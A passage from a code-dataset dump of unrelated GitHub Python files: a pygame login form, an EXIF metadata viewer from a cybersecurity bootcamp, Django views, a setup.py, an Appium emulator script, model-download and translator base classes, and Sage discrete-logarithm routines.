uniform\n\n\ndef get_float_list(size, least, highest):\n array = []\n for i in range(size):\n array.append(round(uniform(least, highest + 1), 2))\n return array\n\n\ndef frac_max_minus_min(array):\n roster = array.copy() # скопировал список чтобы не изменять исходный\n for i in range(len(roster)):\n roster[i] = round(roster[i] % 1, 2)\n return round(max(roster) - min(roster), 2)\n\n\narr = get_float_list(5, 1, 10)\ndiff = frac_max_minus_min(arr)\nprint(arr, diff, sep=\" -> \")\n# В ЭТОМ ЯЗЫКЕ СРОЧНО НАДО ЧТО-ТО ДЕЛАТЬ С ХРАНЕНИЕМ ВЕЩЕСТВЕННЫХ ЧИСЕЛ!!! :)\n","repo_name":"widgeton/Python_GB","sub_path":"Homework/Lesson_03/03.04.py","file_name":"03.04.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34920067359","text":"import sys\nimport pygame as pg\n\nclass Rectangle:\n def __init__(self,x=0,y=0,w=0,h=0,r=0,g=0,b=0):\n self.x = x # Position X\n self.y = y # Position Y\n self.w = w # Width\n self.h = h # Height\n self.R = r\n self.G = g\n self.B = b\n def draw(self,screen):\n pg.draw.rect(screen,(self.R,self.G,self.B),(self.x,self.y,self.w,self.h))\n \nclass Button(Rectangle):\n def __init__(self, x=0, y=0, w=0, h=0):\n Rectangle.__init__(self, x, y, w, h)\n \n def hover(self):\n xpos, ypos = pg.mouse.get_pos()\n if xpos >= self.x and xpos <= self.x + self.w and ypos >= self.y and ypos <= self.y + self.h:\n return True \n else:\n return False\n def click(self):\n if pg.mouse.get_pressed()[0]:\n return True\n else:\n return False\nclass InputBox:\n def __init__(self, x, y, w, h,check, text=''):\n self.rect = pg.Rect(x, y, w, h)\n self.color = COLOR_INACTIVE\n self.text = text\n self.check = check\n self.txt_surface = FONT.render(text, True, self.color)\n self.active = False\n\n def handle_event(self, event):\n \n if event.type == pg.MOUSEBUTTONDOWN:# ทำการเช็คว่ามีการคลิก Mouse หรือไม่\n if self.rect.collidepoint(event.pos): #ทำการเช็คว่าตำแหน่งของ Mouse อยู่บน InputBox นี้หรือไม่\n # Toggle the active variable.\n self.active = not self.active\n else:\n self.active = False\n self.color = COLOR_ACTIVE if self.active else COLOR_INACTIVE # เปลี่ยนสีของ InputBox\n \n if event.type == pg.KEYDOWN:\n if self.active:\n txt = event.unicode\n if event.key == pg.K_RETURN:\n pass\n elif event.key == pg.K_BACKSPACE:\n self.text = self.text[:-1]\n else:\n if self.check:\n if txt.isnumeric():\n self.text += txt\n else:\n pass\n else:\n self.text += event.unicode\n self.txt_surface = FONT.render(self.text, True, self.color)\n \n def ans(self):\n return self.text\n \n def reset(self):\n self.text = ''\n self.txt_surface = FONT.render('', True,(255,255,255))\n \n def update(self):\n # Resize the box if the text is too long.\n width = max(200, self.txt_surface.get_width()+10)\n self.rect.w = width\n\n def draw(self, Screen):\n # Blit the text.\n Screen.blit(self.txt_surface, (self.rect.x+5, self.rect.y+5,))\n # Blit the rect.\n pg.draw.rect(Screen, self.color, self.rect, 2,10)\n \npg.init()\nwin_x, win_y = 1920, 1080\nscreen = pg.display.set_mode((win_x, win_y))\n\nfont = pg.font.Font('BAUHS93.ttf', 100) # font and fontsize\nfontS = pg.font.Font('BAUHS93.ttf', 30)\nlogin = font.render('LOGIN', True, (0,0,0), (255,255,255))# (text,is smooth?,letter color,background color)\nfirst = fontS.render('FIRSTNAME', True, (0,0,0), (255,255,255))\nlast = fontS.render('LASTNAME', True, (0,0,0), (255,255,255))\nage = fontS.render('AGE', True, (0,0,0), (255,255,255))\nsubmitt = fontS.render('SUBMIT', True, (255,255,255))\nsubmittt = fontS.render('SUBMIT', True, (0,0,0))\nresett= fontS.render('RESET', True, (255,0,0))\nresettt = fontS.render('RESET', True, (0,0,0))\nloginRect = login.get_rect() # text size\nfirstRect = first.get_rect() # text size\nlastRect = last.get_rect() # text size\nageRect = age.get_rect() # text size\nsubmitRect = submitt.get_rect() # text size\nsubmit2Rect = submittt.get_rect()\nresetRect = resett.get_rect()\nloginRect.center = (win_x // 2, 250)\nsubmitRect.center = (win_x // 2, 700)\n\nresetRect.center = (win_x // 2, 775)\nCOLOR_INACTIVE = (0,0,0)# ตั้งตัวแปรให้เก็บค่าสี เพื่อนำไปใช้เติมสีให้กับกล่องข้อความตอนที่คลิกที่กล่องนั้นๆอยู่\nCOLOR_ACTIVE = (148,148,148) # ^^^\nFONT = pg.font.Font('BAUHS93.ttf', 32)\nval = 0\nr = 0\ninput_box1 = InputBox(win_x // 2 - 100, 350, 140, 45,False) # สร้าง InputBox1\ninput_box2 = InputBox(win_x // 2 - 100, 450, 140, 45,False) # สร้าง InputBox2\ninput_box3 = InputBox(win_x // 2 - 100, 550, 140, 45,True) # สร้าง InputBox2\ninput_boxes = [input_box1, input_box2, input_box3] # เก็บ InputBox ไว้ใน list เพื่อที่จะสามารถนำไปเรียกใช้ได้ง่าย\nrun = True\n\nsubmit = Button(win_x // 2-65 ,675,130,50)\nreset = Button(win_x // 2-65 ,750,130,50)\n \nwhile run:\n screen.fill((255, 255, 255))\n \n screen.blit(login,loginRect)\n screen.blit(first,(win_x // 2 - 100,320))\n screen.blit(last,(win_x // 2 - 100,420))\n screen.blit(age,(win_x // 2 - 100,520))\n submit.draw(screen)\n screen.blit(submitt,submitRect)\n reset.draw(screen)\n screen.blit(resett,resetRect)\n \n pg.draw.rect(screen,(0,0,0),(0,900,1920,100))\n \n if val == 1:\n screen.blit(ans,ansRect)\n if r == 1:\n input_box1.reset()\n input_box2.reset()\n input_box3.reset()\n ans = fontS.render('', True, (255,255,255))\n r = 0\n if submit.hover():\n if submit.click():\n submit.R = 255\n submit.G = 255\n submit.B = 255\n screen.blit(submittt,submitRect)\n ans = fontS.render('Hello '+ input_box1.ans() + ' ' + input_box2.ans() + \" ! You are \" + input_box3.ans() + ' years old.', True, (255,255,255))\n ansRect = ans.get_rect()\n ansRect.center=(win_x//2,940)\n val = 1\n else :\n submit.R = 0\n submit.G = 0\n submit.B = 0\n else:\n submit.R = 0\n submit.G = 0\n submit.B = 0\n \n if reset.hover():\n if reset.click():\n reset.R = 255\n reset.G = 255\n reset.B = 255\n r = 1\n else :\n reset.R = 0\n reset.G = 0\n reset.B = 0\n else:\n reset.R = 0\n reset.G = 0\n reset.B = 0\n \n for box in input_boxes: # ทำการเรียก InputBox ทุกๆตัว โดยการ Loop เข้าไปยัง list ที่เราเก็บค่า InputBox ไว้\n box.update() # เรียกใช้ฟังก์ชัน update() ของ InputBox\n box.draw(screen) # เรียกใช้ฟังก์ชัน draw() ของ InputBox เพื่อทำการสร้างรูปบน Screen\n \n for event in pg.event.get():\n for box in input_boxes:\n box.handle_event(event)\n if event.type == pg.QUIT:\n pg.quit()\n run = False\n if event.type == pg.KEYDOWN and event.key == pg.K_ESCAPE:\n pg.quit()\n run = False\n \n pg.time.delay(1)\n pg.display.update()","repo_name":"RunexData/Lab06Submission_14","sub_path":"LAB6-FInal.py","file_name":"LAB6-FInal.py","file_ext":"py","file_size_in_byte":7327,"program_lang":"python","lang":"th","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"15172965749","text":"import argparse\n\nfrom PIL import Image\nfrom PIL.ExifTags import TAGS\n\n\n# PROBLEMA:\n# Crear un programa con una función llamada 'scorpion' que\n# extraiga metadatos de las imágenes que reciba como argumento.\n# Debe ser compatible con las extensiones de los archivos que\n# maneje el script 'spider'.\n\n# ----------------------------------------------------------------------------------------------------------------------\n\n\n# Inicializa el parser de argumentos de la línea de comandos.\ndef inicializar_analizador():\n # Analizador de los argumentos de la línea de comandos\n parser = argparse.ArgumentParser(\n # prog = \"./scorpion\",\n description=\"Herramienta casera que muestra metadatos de imágenes.\",\n epilog=\"Ejercicio 'arachnida' del Bootcamp de Ciberseguridad de la Fundación 42 (Málaga).\"\n )\n\n # Agregar las opciones de la línea de comandos\n parser.add_argument(\"IMAGEN\", help=\"Imagen a analizar\", type=str)\n parser.add_argument(\"IMAGENES\", help=\"Imágenes a analizar.\", nargs=\"*\")\n\n # Obtener los argumentos de la línea de comandos\n return parser.parse_args()\n\n\n# Extrae los metadatos de\ndef scorpion(rutas):\n for ruta in rutas:\n try:\n # Abrir la imagen\n imagen = Image.open(ruta)\n\n except:\n print(f\"No se pudo abrir {ruta}.\")\n\n else:\n # Mostrar los metadatos básicos de la imagen\n print(f\"{'Nombre':32}: {imagen.filename.split('/')[-1]}\") # Solo el nombre, no la ruta\n print(f\"{'Dimensiones':32}: {imagen.size[0]}, {imagen.size[1]}\")\n print(f\"{'Formato':32}: {imagen.format}\")\n print(f\"{'Modo':32}: {imagen.mode}\")\n print(f\"{'Paleta':32}: {imagen.palette}\")\n\n # Indicar si no tiene datos EXIF\n if not imagen.getexif():\n print(f\"{'Exif':32}: {imagen.getexif()}\")\n\n print()\n\n # Extraer los metadatos EXIF\n datos = imagen.getexif()\n\n # Mostrar los metadatos EXIF como \"Nombre : Valor\"\n for id in datos:\n try:\n nombre = TAGS.get(id)\n valor = datos.get(id)\n\n print(f\"{nombre:32}: {valor}\")\n\n except Exception:\n print(f\"Etiqueta {id} no encontrada.\")\n\n print(\"-\" * 80)\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n\n\nif __name__ == \"__main__\":\n args = inicializar_analizador()\n\n # Leer las imágenes desde la línea de comandos\n ubicaciones = list()\n ubicaciones.append(args.IMAGEN)\n ubicaciones += args.IMAGENES\n\n scorpion(ubicaciones)\n","repo_name":"15Galan/42malaga_bootcamp-ciberseguridad","sub_path":"arachnida/scorpion.py","file_name":"scorpion.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"es","doc_type":"code","stars":8,"dataset":"github-code","pt":"7"} +{"seq_id":"9185668661","text":"from django.shortcuts import render\n# from django.http import HttpResponse\n# from AppTwo.models import UserModel\nfrom .forms import UserForm\n# Create your views here.\n\n\ndef index(request):\n\tcontext = {'a_var': 'Welcome'}\n\treturn render(request, 'AppTwo/home.html', context)\n\n\n# def users(request):\n# \tuser_details = User.objects.order_by('first_name')\n# \tmy_dict = {'user_details': user_details}\n# \treturn render(request, 'AppTwo/user.html', context=my_dict)\n\n\ndef signup(request):\n\tform = UserForm()\n\t\n\tif request.method == 'POST':\n\t\tform = UserForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tform.save(commit=True)\n\t\t\treturn index(request)\n\t\telse:\n\t\t\tprint('Error: Form invalid!')\n\n\n\treturn render(request, 'AppTwo/signup.html', {'form': form})\n","repo_name":"Shubhampal1994/django-tutorial-project","sub_path":"ProTwo/AppTwo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17176130586","text":"#!/usr/bin/env python\n\"\"\"chaostoolkit-k6 extension builder and installer\"\"\"\n\nimport sys\nimport io\n\nimport setuptools\n\nname = \"chaostoolkit-k6\"\ndesc = \"Chaos Toolkit Extension for k6.\"\n\nwith io.open(\"README.md\", encoding=\"utf-8\") as strm:\n long_desc = strm.read()\n\nclassifiers = [\n \"Development Status :: 3 - Alpha\",\n \"Intended Audience :: Developers\",\n \"License :: Freely Distributable\",\n \"Operating System :: OS Independent\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n \"Programming Language :: Python :: 3.10\",\n \"Programming Language :: Python :: Implementation\",\n \"Programming Language :: Python :: Implementation :: CPython\",\n]\nauthor = \"k6\"\nauthor_email = \"avocados@k6.io\"\nurl = \"http://chaostoolkit.org\"\nlicense = \"Apache License Version 2.0\"\npackages = [\"chaosk6\"]\n\nneeds_pytest = set([\"pytest\", \"test\"]).intersection(sys.argv)\npytest_runner = [\"pytest_runner\"] if needs_pytest else []\n\ntest_require = []\nwith io.open('requirements-dev.txt') as f:\n test_require = [l.strip() for l in f if not l.startswith('#')]\n\ninstall_require = []\nwith io.open(\"requirements.txt\") as f:\n install_require = [l.strip() for l in f if not l.startswith(\"#\")]\n\nsetup_params = dict(\n name=name,\n version=\"0.3.4\",\n description=desc,\n long_description=long_desc,\n classifiers=classifiers,\n author=author,\n author_email=author_email,\n url=url,\n license=license,\n packages=packages,\n include_package_data=True,\n install_requires=install_require,\n tests_require=test_require,\n setup_requires=pytest_runner,\n python_requires=\">=3.7\",\n)\n\n\ndef main():\n \"\"\"Package installation entry point.\"\"\"\n setuptools.setup(**setup_params)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"grafana/chaostoolkit-k6","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"7"} +{"seq_id":"9054106046","text":"from appium import webdriver\nfrom time import sleep\nfrom appium.webdriver.common.touch_action import TouchAction\n\n# 基本配置\ndesired_capabilities = {\n \"platformName\": \"Android\",\n \"platformVersion\": \"5.1.1\",\n \"appPackage\": \"com.baidu.wenku\",\n \"appActivity\": \"com.baidu.wenku.splash.view.activity.WelcomeActivity\",\n \"deviceName\": \"127.0.0.1:62001\"\n}\n\ndriver = webdriver.Remote('http://127.0.0.1:4723/wd/hub',desired_capabilities=desired_capabilities)\n\n# 按下 HOME键\ndriver.press_keycode(3)\n# 按下音量键\ndriver.long_press_keycode(24)\ndriver.long_press_keycode(25)\n\n# 安装app\ndriver.install_app(r'd:\\com.mt.mtxx.mtxx.apk')\n\nsleep(10)\n# 卸载app\ndriver.remove_app('com.mt.mtxx.mtxx')","repo_name":"wuxing1314/selenium","sub_path":"workspace1/appium/day02/demo06.py","file_name":"demo06.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"40306711750","text":"import os\nfrom typing import List, Tuple\nfrom abc import ABC, abstractmethod\nimport re\n\nimport functools\nMODULE_PATH = os.path.dirname(os.path.realpath(__file__))\n\nclass ModelWrapper(ABC):\n r\"\"\"\n A class that provides a unified interface for downloading models and making forward passes.\n All model inferer classes should extend it.\n Download specifications can be made through overwriting the `_MODEL_MAPPING` property.\n ```python\n _MODEL_MAPPTING = {\n 'model_id': {\n **PARAMETERS\n },\n ...\n }\n ```\n Parameters:\n \n model_id - Used for temporary caches and debug messages\n url - A direct download url\n hash - Hash of downloaded file, Can be obtained upon ModelVerificationException\n file - File download destination, If set to '.' the filename will be infered\n from the url (fallback is `model_id` value)\n archive - List that contains all files/folders that are to be extracted from\n the downloaded archive, Mutually exclusive with `file`\n executables - List of files that need to have the executable flag set\n \"\"\"\n _MODEL_DIR = os.path.join(MODULE_PATH, 'models')\n _MODEL_MAPPING = {}\n\n def __init__(self):\n os.makedirs(self._MODEL_DIR, exist_ok=True)\n self._loaded = False\n self._check_for_malformed_model_mapping()\n self._downloaded = self._check_downloaded()\n\n def is_loaded(self) -> bool:\n return self._loaded\n\n def is_downloaded(self) -> bool:\n return self._downloaded\n\n def _get_file_path(self, relative_path: str) -> str:\n return os.path.join(self._MODEL_DIR, relative_path)\n\n def _get_used_gpu_memory(self) -> bool:\n '''\n Gets the total amount of GPU memory used by model (Can be used in the future\n to determine whether a model should be loaded into vram or ram or automatically choose a model size).\n TODO: Use together with `--use-cuda-limited` flag to enforce stricter memory checks\n '''\n return torch.cuda.mem_get_info()\n\n def _check_for_malformed_model_mapping(self):\n for map_key, mapping in self._MODEL_MAPPING.items():\n if 'url' not in mapping:\n raise InvalidModelMappingException(self.__class__.__name__, map_key, 'Missing url property')\n elif not re.search(r'^https?://', mapping['url']):\n raise InvalidModelMappingException(self.__class__.__name__, map_key, 'Malformed url property: \"%s\"' % mapping['url'])\n if 'file' not in mapping and 'archive' not in mapping:\n mapping['file'] = '.'\n elif 'file' in mapping and 'archive' in mapping:\n raise InvalidModelMappingException(self.__class__.__name__, map_key, 'Properties file and archive are mutually exclusive')\n\n async def _download_file(self, url: str, path: str):\n print(f' -- Downloading: \"{url}\"')\n download_url_with_progressbar(url, path)\n\n async def _verify_file(self, sha256_pre_calculated: str, path: str):\n print(f' -- Verifying: \"{path}\"')\n sha256_calculated = get_digest(path).lower()\n sha256_pre_calculated = sha256_pre_calculated.lower()\n\n if sha256_calculated != sha256_pre_calculated:\n self._on_verify_failure(sha256_calculated, sha256_pre_calculated)\n else:\n print(' -- Verifying: OK!')\n\n def _on_verify_failure(self, sha256_calculated: str, sha256_pre_calculated: str):\n print(f' -- Mismatch between downloaded and created hash: \"{sha256_calculated}\" <-> \"{sha256_pre_calculated}\"')\n raise ModelVerificationException()\n\n @functools.cached_property\n def _temp_working_directory(self):\n p = os.path.join(tempfile.gettempdir(), 'manga-image-translator', self.__class__.__name__.lower())\n os.makedirs(p, exist_ok=True)\n return p\n\n async def download(self, force=False):\n '''\n Downloads required models.\n '''\n if force or not self.is_downloaded():\n while True:\n try:\n await self._download()\n self._downloaded = True\n break\n except ModelVerificationException:\n if not prompt_yes_no('Failed to verify signature. Do you want to restart the download?', default=True):\n print('Aborting.')\n raise KeyboardInterrupt()\n\n async def _download(self):\n '''\n Downloads models as defined in `_MODEL_MAPPING`. Can be overwritten (together\n with `_check_downloaded`) to implement unconventional download logic.\n '''\n print('\\nDownloading models\\n')\n for map_key, mapping in self._MODEL_MAPPING.items():\n if self._check_downloaded_map(map_key):\n print(f' -- Skipping {map_key} as it\\'s already downloaded')\n continue\n\n is_archive = 'archive' in mapping\n if is_archive:\n download_path = os.path.join(self._temp_working_directory, map_key, '')\n else:\n download_path = self._get_file_path(mapping['file'])\n if not os.path.basename(download_path):\n os.makedirs(download_path, exist_ok=True)\n if os.path.basename(download_path) in ('', '.'):\n download_path = os.path.join(download_path, get_filename_from_url(mapping['url'], map_key))\n if not is_archive:\n download_path += '.part'\n\n if 'hash' in mapping:\n downloaded = False\n if os.path.isfile(download_path):\n try:\n print(' -- Found existing file')\n await self._verify_file(mapping['hash'], download_path)\n downloaded = True\n except ModelVerificationException:\n print(' -- Resuming interrupted download')\n if not downloaded:\n await self._download_file(mapping['url'], download_path)\n await self._verify_file(mapping['hash'], download_path)\n else:\n await self._download_file(mapping['url'], download_path)\n\n if download_path.endswith('.part'):\n p = download_path[:len(download_path)-5]\n shutil.move(download_path, p)\n download_path = p\n\n if is_archive:\n extracted_path = os.path.join(os.path.dirname(download_path), 'extracted')\n print(f' -- Extracting files')\n shutil.unpack_archive(download_path, extracted_path)\n\n def get_real_archive_files():\n archive_files = []\n for root, dirs, files in os.walk(extracted_path):\n for name in files:\n file_path = os.path.join(root, name)\n archive_files.append(file_path)\n return archive_files\n\n for orig, dest in mapping['archive'].items():\n p1 = os.path.join(extracted_path, orig)\n if os.path.exists(p1):\n p2 = self._get_file_path(dest)\n if os.path.basename(p2) in ('', '.'):\n p2 = os.path.join(p2, os.path.basename(p1))\n if os.path.isfile(p2):\n if filecmp.cmp(p1, p2):\n continue\n raise InvalidModelMappingException(self.__class__.__name__, map_key, 'File \"{orig}\" already exists at \"{dest}\"')\n os.makedirs(os.path.dirname(p2), exist_ok=True)\n shutil.move(p1, p2)\n else:\n raise InvalidModelMappingException(self.__class__.__name__, map_key, 'File \"{orig}\" does not exist within archive' +\n '\\nAvailable files:\\n%s' % '\\n'.join(get_real_archive_files()))\n if len(mapping['archive']) == 0:\n raise InvalidModelMappingException(self.__class__.__name__, map_key, 'No archive files specified' +\n '\\nAvailable files:\\n%s' % '\\n'.join(get_real_archive_files()))\n\n self._grant_execute_permissions(map_key)\n\n print()\n self._on_download_finished(map_key)\n\n def _on_download_finished(self, map_key):\n '''\n Can be overwritten to further process the downloaded files\n '''\n pass\n\n def _check_downloaded(self) -> bool:\n '''\n Scans filesystem for required files as defined in `_MODEL_MAPPING`.\n Returns `False` if files should be redownloaded.\n '''\n for map_key in self._MODEL_MAPPING:\n if not self._check_downloaded_map(map_key):\n return False\n return True\n\n def _check_downloaded_map(self, map_key: str) -> str:\n mapping = self._MODEL_MAPPING[map_key]\n\n if 'file' in mapping:\n path = mapping['file']\n if os.path.basename(path) in ('.', ''):\n path = os.path.join(path, get_filename_from_url(mapping['url'], map_key))\n if not os.path.exists(self._get_file_path(path)):\n return False\n \n elif 'archive' in mapping:\n for from_path, to_path in mapping['archive'].items():\n if os.path.basename(to_path) in ('.', ''):\n to_path = os.path.join(to_path, os.path.basename(from_path))\n if not os.path.exists(self._get_file_path(to_path)):\n return False\n\n self._grant_execute_permissions(map_key)\n\n return True\n\n def _grant_execute_permissions(self, map_key: str):\n mapping = self._MODEL_MAPPING[map_key]\n\n if sys.platform == 'linux':\n # Grant permission to executables\n for file in mapping.get('executables', []):\n p = self._get_file_path(file)\n if os.path.basename(p) in ('', '.'):\n p = os.path.join(p, file)\n if not os.path.isfile(p):\n raise InvalidModelMappingException(self.__class__.__name__, map_key, f'File \"{file}\" does not exist')\n if not os.access(p, os.X_OK):\n os.chmod(p, os.stat(p).st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)\n\n async def reload(self, device: str, *args, **kwargs):\n await self.unload()\n await self.load(*args, **kwargs, device=device)\n\n async def load(self, device: str, *args, **kwargs):\n '''\n Loads models into memory. Has to be called before `forward`.\n '''\n if not self.is_downloaded():\n await self.download()\n if not self.is_loaded():\n await self._load(*args, **kwargs, device=device)\n self._loaded = True\n\n async def unload(self):\n if self.is_loaded():\n await self._unload()\n self._loaded = False\n\n async def forward(self, *args, **kwargs):\n '''\n Makes a forward pass through the network.\n '''\n if not self.is_loaded():\n raise Exception(f'{self.__class__.__name__}: Tried to forward pass without having loaded the model.')\n return await self._forward(*args, **kwargs)\n\n @abstractmethod\n async def _load(self, device: str, *args, **kwargs):\n pass\n\n @abstractmethod\n async def _unload(self):\n pass\n\n @abstractmethod\n async def _forward(self, *args, **kwargs):\n pass\n\n\ntry:\n import readline\nexcept:\n readline = None\n\nclass LanguageUnsupportedException(Exception):\n def __init__(self, language_code: str, translator: str = None, supported_languages: List[str] = None):\n error = 'Language not supported for %s: \"%s\"' % (translator if translator else 'chosen translator', language_code)\n if supported_languages:\n error += '. Supported languages: \"%s\"' % ','.join(supported_languages)\n super().__init__(error)\n\nclass MTPEAdapter():\n async def dispatch(self, queries: List[str], translations: List[str]) -> List[str]:\n # TODO: Make it work in windows (e.g. through os.startfile)\n if not readline:\n print('MTPE is only supported on linux sowwy owo')\n return translations\n new_translations = []\n print(' -- Running Machine Translation Post Editing (MTPE)')\n for i, (query, translation) in enumerate(zip(queries, translations)):\n print(f'\\n[{i + 1}/{len(queries)}] {query}:')\n readline.set_startup_hook(lambda: readline.insert_text(translation.replace('\\n', '\\\\n')))\n new_translation = ''\n try:\n new_translation = input(' -> ').replace('\\\\n', '\\n')\n finally:\n readline.set_startup_hook()\n new_translations.append(new_translation)\n print()\n return new_translations\n\nclass CommonTranslator(ABC):\n _LANGUAGE_CODE_MAP = {}\n\n def __init__(self):\n super().__init__()\n self.mtpe_adapter = MTPEAdapter()\n\n def supports_languages(self, from_lang: str, to_lang: str, fatal: bool = False) -> bool:\n supported_src_languages = ['auto'] + list(self._LANGUAGE_CODE_MAP)\n supported_tgt_languages = list(self._LANGUAGE_CODE_MAP)\n\n if from_lang not in supported_src_languages:\n if fatal:\n raise LanguageUnsupportedException(from_lang, self.__class__.__name__, supported_src_languages)\n return False\n if to_lang not in supported_tgt_languages:\n if fatal:\n raise LanguageUnsupportedException(to_lang, self.__class__.__name__, supported_tgt_languages)\n return False\n return True\n\n def parse_language_codes(self, from_lang: str, to_lang: str, fatal: bool = False) -> Tuple[str, str]:\n if not self.supports_languages(from_lang, to_lang, fatal):\n return None, None\n\n _from_lang = self._LANGUAGE_CODE_MAP.get(from_lang) if from_lang != 'auto' else 'auto'\n _to_lang = self._LANGUAGE_CODE_MAP.get(to_lang)\n return _from_lang, _to_lang\n\n async def translate(self, from_lang: str, to_lang: str, queries: List[str], use_mtpe: bool = False) -> List[str]:\n '''\n Translates list of queries of one language into another.\n '''\n if from_lang == to_lang:\n result = []\n else:\n result = await self._translate(*self.parse_language_codes(from_lang, to_lang, fatal=True), queries)\n\n translated_sentences = []\n if len(result) < len(queries):\n translated_sentences.extend(result)\n translated_sentences.extend([''] * (len(queries) - len(result)))\n elif len(result) > len(queries):\n translated_sentences.extend(result[:len(queries)])\n else:\n translated_sentences.extend(result)\n if use_mtpe:\n translated_sentences = await self.mtpe_adapter.dispatch(queries, translated_sentences)\n return translated_sentences\n\n @abstractmethod\n async def _translate(self, from_lang: str, to_lang: str, queries: List[str]) -> List[str]:\n pass\n\n def _clean_translation_output(self, text: str) -> str:\n '''\n Tries to spot and skim down invalid translations.\n '''\n words = text.split()\n elements = list(set(words))\n if len(elements) / len(words) < 0.1:\n words = words[:int(len(words) / 1.75)]\n text = ' '.join(words)\n\n # For words that appear more then four times consecutively, remove the excess\n for el in elements:\n el = re.escape(el)\n text = re.sub(r'(?: ' + el + r'){4} (' + el + r' )+', ' ', text)\n\n return text\n\nclass OfflineTranslator(CommonTranslator, ModelWrapper):\n _MODEL_DIR = os.path.join(ModelWrapper._MODEL_DIR, 'translators')\n\n async def _translate(self, *args, **kwargs):\n return await self.forward(*args, **kwargs)\n\n @abstractmethod\n async def _forward(self, from_lang: str, to_lang: str, queries: List[str]) -> List[str]:\n pass\n\n async def load(self, from_lang: str, to_lang: str, device: str):\n return await super().load(device, *self.parse_language_codes(from_lang, to_lang))\n\n @abstractmethod\n async def _load(self, from_lang: str, to_lang: str, device: str):\n pass\n\n async def reload(self, from_lang: str, to_lang: str, device: str):\n return await super().reload(device, from_lang, to_lang)\n","repo_name":"qwopqwop200/Subtitles-generator-with-whisper","sub_path":"translators/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":16783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"23123801293","text":"import unittest\n\nx = 2\nif x == 2:\n result = 'OK'\nelif x == 1:\n result = 'Error: x igual 1'\nelse:\n result = 'Error: X distinto 2'\nprint(result)\n\n\nclass TestResult(unittest.TestCase):\n\n def test_result(self):\n self.assertTrue(result)\n","repo_name":"manuel-sarmiento-martinez/python","sub_path":"curso/if_test.py","file_name":"if_test.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"12304459889","text":"from sage.all import *\n\n### Discrete logarithm\n\ndef DL_exhaust(e,B,h,p,r):\n\tr\"\"\" \n\tComputes the discrete logarithm of h in basis B in a p-group of exponent p \n\tby exhaustive search.\n\n\tINPUT:\n\n\t* e: neutral element of the group\n\n\t* B: basis (list of group elements of length r)\n\n\t* h: group element\n\n\t* p: prime number\n\n\t* r: length of B\n\n\tOUTPUT:\n\n\tReturns the discrete logarithm of h in B if h is in the subgroup generated by B \n\tas a list of r integers between 0 and p-1. Raises a ValueError if h is not in \n\tthe subgroup generated by B.\n\t\"\"\"\n\tif r==1:\n\t\tg0=B[0]\n\t\tg=e\n\t\tk=0\n\t\twhile g!=h and km:\n\t\t\t\tm=L_sigma[j]\n\t\t\t\ti_max=j\n\t\tL_sigma[i],L_sigma[i_max]=L_sigma[i_max],L_sigma[i]\n\t\tB1[i],B1[i_max]=B1[i_max],B1[i]\n\t\tC[i],C[i_max]=C[i_max],C[i]\n\t\tL_perm[i],L_perm[i_max]=L_perm[i_max],L_perm[i]\t\n\n\t# Computing the powers of h\n\tH=[h]\n\tfor i in range(1,sigma):\n\t\tH.append(H[i-1]**p)\n\n\t# Main Polling-Hellman loop\n\tX=[0]*r\n\tri=0# First index such that L_sigma[ri]<=i\n\tfor i in range(sigma-1,-1,-1):\n\t\thi=H[i]\n\t\twhile ri=i+1:\n\t\t\tri+=1\n\t\tfor k in range(ri):\n\t\t\thi=hi*B1[k]**(-(p**i)*X[k])\n\t\tY=DL_exhaust(e,C[0:ri],hi,p,ri)\n\t\tfor j in range(ri):\n\t\t\tX[j]+=p**(L_sigma[j]-i-1)*Y[j]\n\t\n\t# Inverse permutation \n\tX_ret=[0]*r\n\tfor i in range(r):\n\t\tX_ret[L_perm[i]]=X[i]\n\treturn X_ret\n\ndef DL(e,B,h,L_factors,r):\n\tr\"\"\"\n\tComputes the discrete logarithm of h in basis B. We do not assume that we\n\tare in a p-group here.\n\n\tINPUT:\n\n\t* e: neutral element of the group\n\n\t* B: basis (list of group elements of length r)\n\n\t* h: group element\n\n\t* L_factors: list of factors of the group order in the form (prime, exponent) \n\n\t* r: length of B\n\n\tOUTPUT:\n\n\tReturns the discrete logarithm of h in the basis B.\n\t\"\"\"\n\n\tN=1\n\tfor factor in L_factors:\n\t\tN*=factor[0]**factor[1]\n\n\tL_DL=[]\n\tfor i in range(len(L_factors)):\n\t\tNi=N//(L_factors[i][0]**L_factors[i][1])\n\t\tBi=[g**Ni for g in B]\n\t\thi=h**Ni\n\t\tL_DL.append(DL_PH(e,Bi,hi,L_factors[i][0],r))\n\n\tX_ret=[]\n\tmoduli=[ZZ(factor[0]**factor[1]) for factor in L_factors]\n\tfor k in range(r):\n\t\tvk=[]\n\t\tfor x in L_DL:\n\t\t\tvk.append(x[k])\n\t\tX_ret.append(CRT_list(vk,moduli))\n\treturn X_ret\n\n\n### Basis of a group\n\ndef Basis_p(e,S,p):\n\tr\"\"\" \n\tComputes the basis of the p-(sub)group generated by S.\n\n\tINPUT:\n\n\t* e: neutral element of the group\n\n\t* S: list of group elements\n\n\t* p: prime number\n\n\tOUTPUT:\n\n\tReturns a basis B of the p-(sub)group generated by S in decreasing order\n\ttogether with the list 